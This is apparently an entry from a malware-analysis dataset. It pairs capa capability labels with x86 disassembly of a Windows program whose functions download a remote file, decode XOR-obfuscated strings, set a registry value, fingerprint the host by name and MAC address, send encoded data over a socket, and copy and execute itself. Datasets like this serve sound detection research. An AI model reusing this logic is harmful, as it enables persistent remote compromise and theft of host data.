joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401000
Capabilities:
Create a process with modified i/o handles and window
Create process on windows
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x158
push esi
push edi
lea eax, [ebp - 0x158]
push eax
push 0x100
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push 0x44
xor esi, esi
lea ecx, [ebp - 0x58]
push esi
push ecx
call fcn.00402af0
mov edi, dword [sym.imp.KERNEL32.dll_CreateProcessA]
xor eax, eax
add esp, 0xc
xor edx, edx
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], eax
mov dword [ebp - 4], eax
mov dword [ebp - 0x58], 0x44
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x2c], 0x101
mov word [ebp - 0x28], dx
lea esp, [esp]
lea eax, [ebp - 0x10]
push eax
lea ecx, [ebp - 0x58]
push ecx
push 0
push 0
push 0
push 1
push 0
push 0
push ebx
push 0
call edi
test eax, eax
jne 0x401083
inc esi
cmp esi, 8
jl 0x401060
cmp esi, 8
jne 0x401090
xor eax, eax
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov edx, dword [ebp - 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov eax, 1
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x4010b0
Capabilities:
Download and write a file
Download url
Get common file path
Receive and write data from server to client
Receive data
Set current directory
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x810
push ebx
push esi
mov esi, ecx
xor ebx, ebx
push edi
mov edi, eax
cmp esi, ebx
je 0x4011bd
cmp edi, ebx
jne 0x4010d3
mov edi, str.sec.exe
lea eax, [ebp - 0x810]
push eax
push 0x100
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea ecx, [ebp - 0x810]
push ecx
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
push esi
call dword [sym.imp.WININET.dll_DeleteUrlCacheEntry]
push ebx
push 0x80
push 2
push ebx
push ebx
push 0x40000000
push edi
mov dword [ebp - 4], ebx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x4011bd
push ebx
push ebx
lea edx, [ebp - 4]
push edx
push esi
push ebx
call dword [sym.imp.urlmon.dll_URLOpenBlockingStreamA]
test eax, eax
js 0x4011bd
push 0x400
lea eax, [ebp - 0x40f]
push ebx
push eax
mov dword [ebp - 8], ebx
mov byte [ebp - 0x410], bl
call fcn.00402af0
mov ebx, dword [sym.imp.KERNEL32.dll_WriteFile]
add esp, 0xc
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
lea edx, [ebp - 8]
push edx
push 0x400
lea edx, [ebp - 0x410]
push edx
push eax
mov eax, dword [ecx + 0xc]
call eax
mov edx, dword [ebp - 8]
push 0
lea ecx, [ebp - 0xc]
push ecx
mov esi, eax
push edx
lea eax, [ebp - 0x410]
push eax
push edi
call ebx
push 0x400
lea ecx, [ebp - 0x410]
push 0
push ecx
call fcn.00402af0
add esp, 0xc
test esi, esi
js 0x4011a7
cmp esi, 1
jne 0x401157
mov eax, dword [ebp - 4]
mov edx, dword [eax]
push eax
mov eax, dword [edx + 8]
call eax
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test esi, esi
jns 0x4011bf
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4012f0
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, eax
mov eax, dword [ebp + 0xc]
mov esi, eax
test eax, eax
je 0x40134a
mov ebx, dword [sym.imp.WS2_32.dll_recv]
mov eax, dword [ebp + 8]
push 0
push esi
push edi
push eax
call ebx
test eax, eax
jle 0x40131b
add edi, eax
sub esi, eax
jmp 0x40133c
cmp eax, 0xffffffff
jne 0x401348
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2746
je 0x401348
cmp eax, 0x2744
je 0x401348
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
test esi, esi
jne 0x401307
mov eax, dword [ebp + 0xc]
pop edi
pop esi
pop ebx
pop ebp
ret
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x4013b0
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa0
push esi
push 0x9c
lea eax, [ebp - 0xa0]
push 0
push eax
call fcn.00402af0
mov esi, dword [sym.imp.KERNEL32.dll_GetVersionExA]
add esp, 0xc
lea ecx, [ebp - 0xa0]
push ecx
mov dword [ebp - 0xa0], 0x9c
call esi
test eax, eax
jne 0x40140b
lea edx, [ebp - 0xa0]
push edx
mov dword [ebp - 0xa0], 0x94
call esi
test eax, eax
jne 0x40140b
xor al, al
pop esi
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0x90]
sub eax, 2
mov eax, dword [ebp - 0x9c]
push ebx
jne 0x40142b
cmp eax, 5
je 0x401427
cmp eax, 6
jne 0x40142b
mov bl, 1
jmp 0x40142e
mov bl, byte [ebp - 1]
mov ecx, dword [ebp - 0x98]
mov edx, dword [ebp + 8]
push ecx
push eax
push str._d._d
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
mov al, bl
pop ebx
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x401450
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Resolve dns
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push esi
push edi
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov edi, eax
test edi, edi
jne 0x401473
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
xor eax, eax
pop edi
pop esi
mov esp, ebp
pop ebp
ret
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
xor eax, eax
cmp esi, 0xffffffff
je 0x40152a
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
mov ecx, 2
mov word [ebp - 0x24], cx
mov edx, dword [edi + 0xc]
mov eax, dword [edx]
mov edx, dword [ebp + 8]
mov ecx, dword [eax]
push edx
mov dword [ebp - 0x20], ecx
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x22], ax
push 0x10
lea eax, [ebp - 0x24]
push eax
push esi
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x4014da
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
xor eax, eax
pop edi
pop esi
mov esp, ebp
pop ebp
ret
push 4
lea ecx, [ebp - 8]
push ecx
push 8
push 0xffff
push esi
mov dword [ebp - 8], 1
call dword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
jne 0x401528
push eax
push eax
lea edx, [ebp - 8]
push edx
push eax
push eax
push 0xc
lea eax, [ebp - 0x14]
push eax
push 0x98000004
push esi
mov dword [ebp - 0x14], 1
mov dword [ebp - 0x10], 0x2bf20
mov dword [ebp - 0xc], 0x1388
call dword [sym.imp.WS2_32.dll_WSAIoctl]
mov eax, esi
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x401530
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
lea eax, [edx + edx]
xor eax, edx
shl eax, 4
xor eax, edx
and eax, 0xffffff80
mov esi, edx
shl esi, 7
xor eax, esi
mov esi, edx
shr esi, 8
shl eax, 0x11
or eax, esi
add eax, edx
lea edx, [eax + eax]
xor edx, eax
and edx, 0xfffffff8
lea esi, [eax*8]
xor edx, esi
shl edx, 4
mov esi, eax
and esi, 0xffffff80
xor edx, esi
shl edx, 0x11
mov esi, eax
shr esi, 8
or edx, esi
mov byte [ecx], al
add eax, edx
lea edx, [eax + eax]
xor edx, eax
and edx, 0xfffffff8
lea esi, [eax*8]
xor edx, esi
shl edx, 4
mov esi, eax
and esi, 0xffffff80
xor edx, esi
shl edx, 0x11
mov esi, eax
shr esi, 8
or edx, esi
mov byte [ecx + 1], al
add eax, edx
lea edx, [eax + eax]
xor edx, eax
and edx, 0xfffffff8
lea esi, [eax*8]
xor edx, esi
shl edx, 4
mov esi, eax
and esi, 0xffffff80
xor edx, esi
mov esi, eax
shr esi, 8
shl edx, 0x11
or edx, esi
mov byte [ecx + 2], al
add eax, edx
xor esi, esi
mov byte [ecx + 3], al
cmp dword [ebp + 0xc], esi
jle 0x4016be
movzx ebx, byte [ecx + 2]
mov dl, byte [ecx + 1]
mov byte [ebp - 1], bl
movzx ebx, al
mov byte [ebp - 2], bl
mov edi, dword [ebp + 8]
movzx edi, byte [esi + edi]
add eax, edi
lea edi, [eax + eax]
xor edi, eax
and edi, 0xfffffff8
lea ebx, [eax*8]
xor edi, ebx
shl edi, 4
mov ebx, eax
and ebx, 0xffffff80
xor edi, ebx
shl edi, 0x11
mov ebx, eax
shr ebx, 8
or edi, ebx
add eax, edi
add byte [ecx], al
lea edi, [eax + eax]
xor edi, eax
and edi, 0xfffffff8
lea ebx, [eax*8]
xor edi, ebx
shl edi, 4
mov ebx, eax
and ebx, 0xffffff80
xor edi, ebx
shl edi, 0x11
mov ebx, eax
shr ebx, 8
or edi, ebx
add eax, edi
lea edi, [eax + eax]
xor edi, eax
and edi, 0xfffffff8
lea ebx, [eax*8]
xor edi, ebx
shl edi, 4
mov ebx, eax
and ebx, 0xffffff80
xor edi, ebx
shl edi, 0x11
mov ebx, eax
shr ebx, 8
or edi, ebx
mov bl, byte [ebp - 1]
add dl, al
add eax, edi
add bl, al
mov byte [ebp - 1], bl
mov byte [ecx + 2], bl
lea edi, [eax + eax]
xor edi, eax
and edi, 0xfffffff8
lea ebx, [eax*8]
xor edi, ebx
shl edi, 4
mov ebx, eax
and ebx, 0xffffff80
xor edi, ebx
mov ebx, eax
shr ebx, 8
shl edi, 0x11
or edi, ebx
mov bl, byte [ebp - 2]
add eax, edi
add bl, al
inc esi
mov byte [ecx + 1], dl
mov byte [ebp - 2], bl
mov byte [ecx + 3], bl
cmp esi, dword [ebp + 0xc]
jl 0x4015f2
xor edx, edx
cmp byte [edx + ecx], 0
jbe 0x4016fa
movzx esi, byte [edx + ecx]
lea ebx, [ebx]
lea edi, [eax + eax]
xor edi, eax
and edi, 0xfffffff8
lea ebx, [eax*8]
xor edi, ebx
shl edi, 4
mov ebx, eax
and ebx, 0xffffff80
xor edi, ebx
mov ebx, eax
shl edi, 0x11
shr ebx, 8
or edi, ebx
add eax, edi
dec esi
jne 0x4016d0
mov byte [edx + ecx], al
inc edx
cmp edx, 4
jl 0x4016c0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x401710
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push esi
push edi
mov esi, 0x1a2c
mov edi, eax
mov dword [ebp - 8], esi
mov eax, 0x4c5b
test ecx, ecx
jle 0x4017a1
sub edx, edi
mov dword [ebp - 0x10], edx
mov dword [ebp - 0xc], ecx
push ebx
mov edx, esi
shr edx, 8
mov dword [ebp - 4], edx
mov edx, eax
shr edx, 0x18
mov ebx, eax
shr ebx, 0x10
and dl, bl
mov ebx, esi
mov ecx, eax
shr ecx, 8
and dl, cl
mov dword [ebp - 0x14], ecx
mov ecx, esi
shr ecx, 0x18
shr ebx, 0x10
and cl, bl
mov bl, byte [ebp - 4]
xor dl, cl
mov ecx, dword [ebp - 0x10]
xor dl, byte [ecx + edi]
mov ecx, dword [ebp - 8]
lea esi, [eax*4]
xor esi, eax
add esi, esi
and bl, cl
xor esi, eax
xor dl, bl
xor dl, al
and esi, 0xfffffff0
shl eax, 4
xor esi, eax
shl ecx, 0x18
or ecx, dword [ebp - 0x14]
shl esi, 0x14
or esi, dword [ebp - 4]
mov byte [edi], dl
inc edi
dec dword [ebp - 0xc]
mov dword [ebp - 8], esi
mov eax, ecx
jne 0x401734
pop ebx
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x4017b0
Capabilities:
Encode data using xor

Disassembly:
cmp byte [eax], 0
mov edx, eax
je 0x4017cb
mov ecx, eax
lea esp, [esp]
xor byte [edx], 0xf
inc ecx
cmp byte [ecx], 0
mov edx, ecx
jne 0x4017c0
ret

Function at 0x4017d0
Capabilities:
Encode data using xor
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x68
push esi
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
push edi
push str._ixnjSBfl__iSXfak_xSLzjaYjf_aS_za
lea eax, [ebp - 0x68]
push eax
xor edi, edi
call esi
cmp byte [ebp - 0x68], 0
lea eax, [ebp - 0x68]
je 0x401801
mov ecx, eax
xor byte [eax], 0xf
inc ecx
cmp byte [ecx], 0
mov eax, ecx
jne 0x4017f6
lea ecx, [ebp - 4]
push ecx
lea edx, [ebp - 0x68]
push edx
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
cmp dword [ebp - 4], edi
je 0x401867
push 0x4042b4
lea eax, [ebp - 0x68]
push eax
call esi
cmp byte [ebp - 0x68], 0
lea eax, [ebp - 0x68]
je 0x40183b
mov ecx, eax
nop
xor byte [eax], 0xf
inc ecx
cmp byte [ecx], 0
mov eax, ecx
jne 0x401830
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov edx, dword [ebp - 4]
push eax
push ebx
push 1
push 0
lea ecx, [ebp - 0x68]
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x40185d
lea edi, [eax + 1]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, edi
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x401870
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, 1
cmp dword [ebp + 8], esi
jle 0x4018da
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov eax, dword [edi + esi*4]
mov cl, byte [eax]
cmp cl, 0x2d
je 0x401894
cmp cl, 0x2f
jne 0x4018d3
mov cl, byte [eax + 1]
cmp cl, 0x69
je 0x4018b2
cmp cl, 0x70
jne 0x4018d3
add eax, 3
push eax
call dword [sym.imp.SHLWAPI.dll_StrToIntA]
mov dword [0x405024], eax
jmp 0x4018d3
cmp byte [eax + 3], 0
lea edx, [eax + 3]
mov eax, edx
je 0x4018cb
mov ecx, edx
nop
xor byte [eax], 0xf
inc ecx
cmp byte [ecx], 0
mov eax, ecx
jne 0x4018c0
push edx
push str._9:__6_____98
call ebx
inc esi
cmp esi, dword [ebp + 8]
jl 0x401885
pop ebx
pop esi
pop ebp
ret
Function at 0x4018e0
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push esi
push edi
jmp 0x4018f0
lea edi, [ebp - 0x14]
mov esi, 0x10
push 0
push esi
push edi
push ebx
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
jle 0x40190d
add edi, eax
sub esi, eax
jmp 0x40193a
cmp eax, 0xffffffff
jne 0x4019fa
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2746
je 0x4019fa
cmp eax, 0x2744
je 0x4019fa
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
test esi, esi
jne 0x4018f8
cmp dword [ebp - 0x14], 0x1055
je 0x4019d6
mov eax, dword [ebp - 8]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
add eax, 0x10
push eax
push 8
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, dword [0x405438]
mov dword [esi*4 + 0x405038], eax
test eax, eax
je 0x4019fa
mov ecx, dword [ebp - 0x14]
mov dword [eax], ecx
mov edx, dword [ebp - 0x10]
mov dword [eax + 4], edx
mov ecx, dword [ebp - 0xc]
mov dword [eax + 8], ecx
mov edx, dword [ebp - 8]
mov dword [eax + 0xc], edx
cmp dword [ebp - 8], 0
jbe 0x4019ca
mov esi, dword [esi*4 + 0x405038]
mov eax, dword [esi + 0xc]
push eax
lea eax, [esi + 0x10]
push ebx
call fcn.004012f0
add esp, 8
test eax, eax
je 0x4019e1
mov esi, dword [0x405438]
mov ecx, dword [esi*4 + 0x405038]
lea eax, [ecx + 0x10]
mov ecx, dword [ecx + 0xc]
mov edx, eax
call fcn.00401710
inc esi
mov dword [0x405438], esi
jmp 0x4018f0
pop edi
mov eax, 1
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, dword [0x405438]
mov edx, dword [ecx*4 + 0x405038]
push edx
push 0
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x401a10
Capabilities:
Get hostname
Get mac address on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
push ebx
push esi
lea eax, [ebp - 4]
push eax
lea ecx, [ebp - 0x10c]
push ecx
mov dword [ebp - 8], 0x20141104
mov dword [ebp - 4], 0x100
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
push 0x288
push 9
mov dword [ebp - 4], 0x288
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov ebx, dword [sym.imp.KERNEL32.dll_HeapAlloc]
push eax
call ebx
mov esi, eax
test esi, esi
jne 0x401a63
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push edi
mov edi, dword [sym.imp.IPHLPAPI.DLL_GetAdaptersInfo]
lea edx, [ebp - 4]
push edx
push esi
call edi
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push 1
call esi
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [ebp - 4]
push eax
push 9
call esi
push eax
call ebx
lea ecx, [ebp - 4]
mov esi, eax
push ecx
push esi
mov dword [ebp - 0xc], esi
call edi
test eax, eax
je 0x401aa7
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
test esi, esi
je 0x401b61
mov ebx, dword [sym.imp.USER32.dll_wsprintfA]
xor edi, edi
cmp dword [esi + 0x190], edi
jbe 0x401b22
nop
lea edx, [ebp - 0x10c]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
cmp eax, 0xe6
jg 0x401b22
lea eax, [ebp - 0x10c]
lea edx, [eax + 1]
lea ecx, [ecx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401ae0
movzx ecx, byte [esi + edi + 0x194]
push ecx
sub eax, edx
lea edx, [ebp + eax - 0x10c]
push str._2.2X
push edx
call ebx
mov al, byte [esi + edi + 0x194]
add esp, 0xc
test al, al
je 0x401b19
movzx eax, al
imul eax, dword [ebp - 8]
mov dword [ebp - 8], eax
inc edi
cmp edi, dword [esi + 0x190]
jb 0x401ac0
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenA]
lea ecx, [ebp - 0x10c]
push ecx
call edi
cmp eax, 0xe6
jg 0x401b67
lea edx, [esi + 8]
push edx
push 0x404174
lea eax, [ebp - 0x10c]
push eax
call edi
lea ecx, [ebp + eax - 0x10c]
push ecx
call ebx
mov esi, dword [esi]
add esp, 0xc
test esi, esi
jne 0x401ab5
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenA]
mov edx, dword [ebp - 0xc]
push edx
push 1
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
lea eax, [ebp - 0x10c]
push eax
call edi
mov edx, dword [ebp - 8]
push eax
lea ecx, [ebp - 0x10c]
push ecx
lea ecx, [ebp - 0xc]
call fcn.00401530
mov eax, dword [ebp - 0xc]
add esp, 8
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x401bb0
Capabilities:
Encode data using xor
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x390
mov eax, dword [str.__kzlAnbj]
mov edx, dword [0x404150]
push esi
push edi
mov ecx, 0xb
mov esi, str._I_XN_JSBfl__iSXfak_x_A_SLzjaYjf_aS
lea edi, [ebp - 0x38]
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [0x40414c]
push 0x58
mov dword [ebp - 0x290], eax
lea eax, [ebp - 0x284]
push 0
push eax
movsw word es:[edi], word [esi]
mov dword [ebp - 0x28c], ecx
mov dword [ebp - 0x288], edx
call fcn.00402af0
mov ecx, dword [str.LKYjf_a]
mov edx, dword [0x404158]
mov ax, word [0x40415c]
push 0x59
mov dword [ebp - 0x228], edx
mov dword [ebp - 0x22c], ecx
mov cl, byte [0x40415e]
lea edx, [ebp - 0x221]
push 0
push edx
mov word [ebp - 0x224], ax
mov byte [ebp - 0x222], cl
call fcn.00402af0
push 0x190
lea eax, [ebp - 0x1c8]
push 0
push eax
call fcn.00402af0
mov ecx, dword [ebp + 0xc]
add esp, 0x24
push 0x40415f
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
cmp byte [ebp - 0x38], 0
lea eax, [ebp - 0x38]
je 0x401c7b
mov ecx, eax
xor byte [eax], 0xf
inc ecx
cmp byte [ecx], 0
mov eax, ecx
jne 0x401c70
cmp byte [ebp + 8], 1
jne 0x401d3d
lea edx, [ebp - 4]
push edx
push 0x20019
push 0
lea eax, [ebp - 0x38]
push eax
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x401d3d
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea esi, [ebp - 0x290]
mov dword [ebp + 8], 2
cmp byte [esi], 0
mov ecx, esi
je 0x401cdb
mov eax, esi
lea ebx, [ebx]
xor byte [ecx], 0xf
inc eax
cmp byte [eax], 0
mov ecx, eax
jne 0x401cd0
push 0x100
lea ecx, [ebp - 0x390]
push 0
push ecx
mov dword [ebp - 8], 0x100
call fcn.00402af0
mov ecx, dword [ebp - 4]
add esp, 0xc
lea edx, [ebp - 8]
push edx
lea eax, [ebp - 0x390]
push eax
push 0
push 0
push esi
push ecx
call edi
test eax, eax
jne 0x401d2a
mov eax, dword [ebp + 0xc]
lea edx, [ebp - 0x390]
push edx
push eax
call ebx
mov ecx, dword [ebp + 0xc]
push 0x404160
push ecx
call ebx
add esi, 0x64
dec dword [ebp + 8]
jne 0x401cc1
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop ebx
pop edi
mov al, 1
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x401d50
Capabilities:
Encode data using xor
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x3aa8
call fcn.00402b70
mov eax, dword [ebp + 0x14]
push ebx
mov ebx, dword [ebp + 0x10]
movzx ecx, cx
mov dword [ebp + 0x10], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x3aa8], ecx
mov dword [ebp - 0x3aa4], edx
mov dword [ebp - 0x3aa0], eax
mov ecx, 0x3a84
cmp ebx, 0x3a84
ja 0x401d90
mov ecx, ebx
sub ebx, ecx
mov esi, 0x1a2c
xor edi, edi
mov dword [ebp - 0x3a9c], ecx
mov dword [ebp - 0xc], ebx
mov dword [ebp - 4], ecx
mov dword [ebp + 0xc], esi
mov eax, 0x4c5b
test ecx, ecx
jle 0x401e3f
mov ecx, dword [ebp + 0x10]
lea edx, [ebp - 0x3a98]
sub ecx, edx
mov dword [ebp - 8], ecx
mov edx, esi
shr edx, 8
mov dword [ebp + 0x14], edx
mov ebx, eax
shr ebx, 0x18
mov edx, eax
shr edx, 0x10
and bl, dl
mov edx, esi
mov ecx, eax
shr ecx, 8
and bl, cl
mov dword [ebp - 0x10], ecx
mov ecx, esi
mov esi, dword [ebp - 8]
shr ecx, 0x18
shr edx, 0x10
and cl, dl
mov dl, byte [ebp + 0x14]
xor bl, cl
mov ecx, dword [ebp + 0xc]
and dl, cl
xor bl, dl
lea edx, [ebp + edi - 0x3a98]
xor bl, byte [esi + edx]
lea esi, [eax*4]
xor esi, eax
add esi, esi
xor esi, eax
xor bl, al
and esi, 0xfffffff0
shl eax, 4
xor esi, eax
shl ecx, 0x18
or ecx, dword [ebp - 0x10]
shl esi, 0x14
or esi, dword [ebp + 0x14]
inc edi
mov byte [edx], bl
mov dword [ebp + 0xc], esi
mov eax, ecx
cmp edi, dword [ebp - 4]
jl 0x401dc3
mov ecx, dword [ebp - 0x3a9c]
mov ebx, dword [ebp - 0xc]
add dword [ebp + 0x10], ecx
add ecx, 0x10
movzx esi, cx
lea edi, [ebp - 0x3aa8]
test si, si
je 0x401e94
mov ecx, dword [ebp + 8]
push 0
movzx eax, si
push eax
push edi
push ecx
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
js 0x401e6e
add edi, eax
sub esi, eax
jmp 0x401e8f
cmp eax, 0xffffffff
jne 0x401e8f
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2746
je 0x401ea6
cmp eax, 0x2744
je 0x401ea6
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
test si, si
jne 0x401e53
test ebx, ebx
jne 0x401d81
pop edi
pop esi
lea eax, [ebx + 1]
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x401eb0
Capabilities:
Create directory
Create process on windows
Encode data using xor
Get file size
Read file on windows
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x270
push 0x100
lea eax, [ebp - 0x270]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push str.L5S__hnbKnnSFafjlg
lea ecx, [ebp - 0x70]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
cmp byte [ebp - 0x70], 0
lea eax, [ebp - 0x70]
je 0x401ef2
mov ecx, eax
xor byte [eax], 0xf
inc ecx
cmp byte [ecx], 0
mov eax, ecx
jne 0x401ee7
push esi
push edi
push 0
lea edx, [ebp - 0x70]
push edx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0
push 0x80
push 3
push 0
push 1
mov edi, eax
push closesocket
lea eax, [ebp - 0x270]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x40208b
push ebx
push 0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push eax
push 9
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edx, dword [ebp - 4]
push 0
lea ecx, [ebp - 8]
push ecx
push edx
mov ebx, eax
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test edi, edi
je 0x401fba
cmp edi, 0xb7
je 0x401fba
cmp edi, 3
jne 0x401feb
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
push str.L5S__hnb_IfcjSL_bb_a_IfcjSFafjlg
lea eax, [ebp - 0x70]
push eax
call esi
lea eax, [ebp - 0x70]
call fcn.004017b0
push 0
mov ecx, eax
push ecx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push str.L5S__hnb_IfcjSL_bb_a_IfcjSFafjlgSFafjlg_jwj
lea edx, [ebp - 0x170]
push edx
call esi
lea eax, [ebp - 0x170]
call fcn.004017b0
jmp 0x401feb
push str.L5S__hnbKnnSFafjlgSFafjlg_jwj
lea eax, [ebp - 0x170]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
cmp byte [ebp - 0x170], 0
lea eax, [ebp - 0x170]
je 0x401feb
mov ecx, eax
lea ecx, [ecx]
xor byte [eax], 0xf
inc ecx
cmp byte [ecx], 0
mov eax, ecx
jne 0x401fe0
lea ecx, [ebp - 0x170]
push ecx
lea edx, [ebp - 0x270]
push str.__s___run
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push 0
push 0x80
push 2
push 0
push 3
push 0x40000000
lea eax, [ebp - 0x170]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x40208a
mov edx, dword [ebp - 4]
mov edi, dword [sym.imp.KERNEL32.dll_WriteFile]
push 0
lea ecx, [ebp - 8]
push ecx
push edx
push ebx
push esi
call edi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push 0
mov dword [ebp - 0xc], eax
lea eax, [ebp - 8]
push eax
push 4
lea ecx, [ebp - 0xc]
push ecx
push esi
call edi
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
push 1
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
lea ebx, [ebp - 0x270]
call fcn.004017d0
test eax, eax
je 0x40208a
push 0
mov edx, ebx
push edx
call dword [sym.imp.KERNEL32.dll_WinExec]
pop ebx
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret